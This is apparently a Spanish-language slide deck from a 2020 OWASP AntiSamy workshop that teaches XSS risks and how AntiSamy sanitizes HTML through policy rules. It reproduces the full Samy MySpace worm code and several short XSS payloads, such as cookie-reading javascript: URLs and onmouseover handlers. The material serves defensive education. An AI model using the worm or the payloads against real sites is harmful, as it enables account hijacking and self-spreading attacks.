1 of 32

Workshop AntiSamy - 12/2020

Sebastián Passaro

2 of 32

3 of 32

OWASP - Proyectos

Niveles:

  • Flagship

  • Laboratorio

  • Incubación

4 of 32

OWASP - Proyectos del tipo herramienta de nivel Flagship

Lista actualizada y completa: https://owasp.org/projects/

5 of 32

AntiSamy

6 of 32

$ whoami

7 of 32

https://www.producthunt.com/posts/light-water

HTML 😈

HTML 👼

8 of 32

¿XSS?

  • Cross-site scripting
  • Secuencia de comandos en sitios cruzados
  • JavaScript >:)
  • CSS Ö
    • <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE>
    • <body BACKGROUND="javascript:alert(document.cookie)">

9 of 32

Riesgos de la ejecución de código

  • Redirección a sitio malicioso
  • Explotar privilegios de usuario
  • Anuncios escondidos: IFRAMES y Pop-Ups
  • Manipulación de datos
  • Robo de sesión activa o credenciales
  • Keylogging
  • ...

10 of 32

https://portswigger.net/web-security/cross-site-scripting

11 of 32

12 of 32

13 of 32

XSS 🔫

  • Content Security Policy (CSP)
  • Validar/Sanitizar entradas y salidas
    • Codificar
      • > ⇨ &gt;
    • Filtrar
      • <div><a href='//bad.potato'>Good potato</a></div> <div>Good potato</div>
      • <bOdY bACkGrOUnD="JavAsCriPt:alert(document.cookie)"> <body>

14 of 32

Samy Kamkar

15 of 32

<div id=mycode style="BACKGROUND: url('java

script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

16 of 32

<div id=mycode style="BACKGROUND: url('java

script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);...

17 of 32

<div id=mycode style="BACKGROUND: url('java

script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);...

18 of 32

<div id=mycode style="BACKGROUND: url('java

script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);...

19 of 32

<div id=mycode style="BACKGROUND: url('java

script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);...

¿IMPACTO?

20 of 32

21 of 32

https://owasp.org/www-project-antisamy/

22 of 32

23 of 32

24 of 32

Políticas

  • XSD definido
  • Acciones para tags
    • remove (default)
    • validate
    • filter
    • truncate
    • encode
  • Acciones para atributos
    • removeTag
    • filterTag
    • encodeTag
    • removeAttribute (default)

25 of 32

<tag-rules>

<tag name="script" action="remove"/>

<tag name="span" action="validate"/>

<span>Se viene un script?</span>

<script>var msg = "El script gg";</script>

AntiSamy

<span>Se viene un script?</span>

26 of 32

<common-regexps>

<regexp name="onsiteURL" value="^(?!//)(?![\p{L}\p{N}....."/>

<regexp name="offsiteURL" value="(\s)*((ht|f)tp(s?):/....."/>

</common-regexps>

<tag-rules>

<tag name="div" action="validate"/>

<tag name="span" action="validate"/>

<tag name="img" action="validate">

<attribute name="src" onInvalid="removeTag"/>

<regexp-list>

<regexp name="onsiteURL"/>

<regexp name="offsiteURL"/>

</regexp-list>

</attribute>

</tag>

27 of 32

<div>

<span>Se viene un div con img?</span>

<div>

<img src="https://example.com/gatito.png" onmouseover="alert('xss')">

</div>

</div>

AntiSamy

<div>

<span>Se viene un img?</span>

<img src="https://example.com/gatito.png" />

</div>

28 of 32

<tag-rules>

<tag name="div" action="filter"/>

<tag name="section" action="validate"/>

<tag name="span" action="validate"/>

<section>

<div class=".divToFilter">

Esto queda

<span>Esto también</span>

</div>

</section>

AntiSamy

<section>

Esto queda

<span>Esto también</span>

</section>

29 of 32

<tag-rules>

<tag name="div" action="truncate"/>

<tag name="section" action="validate"/>

<section>

<div class=".divToTruncate">

Queda pelado el div menos esto

<span>Confirmado</span>

</div>

</section>

AntiSamy

<section>

<div>

Queda pelado el div menos esto

</div>

</section>

30 of 32

Demo time

31 of 32

Alternativas de filtros

32 of 32

Otros recursos